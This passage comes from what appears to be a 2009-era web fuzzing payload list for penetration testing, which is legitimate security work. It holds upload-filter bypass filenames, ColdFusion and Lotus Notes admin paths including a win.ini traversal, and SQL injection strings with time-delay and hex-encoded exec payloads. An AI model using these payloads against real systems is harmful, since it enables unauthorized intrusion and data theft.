{PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> &lt;pre&gt;{HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> 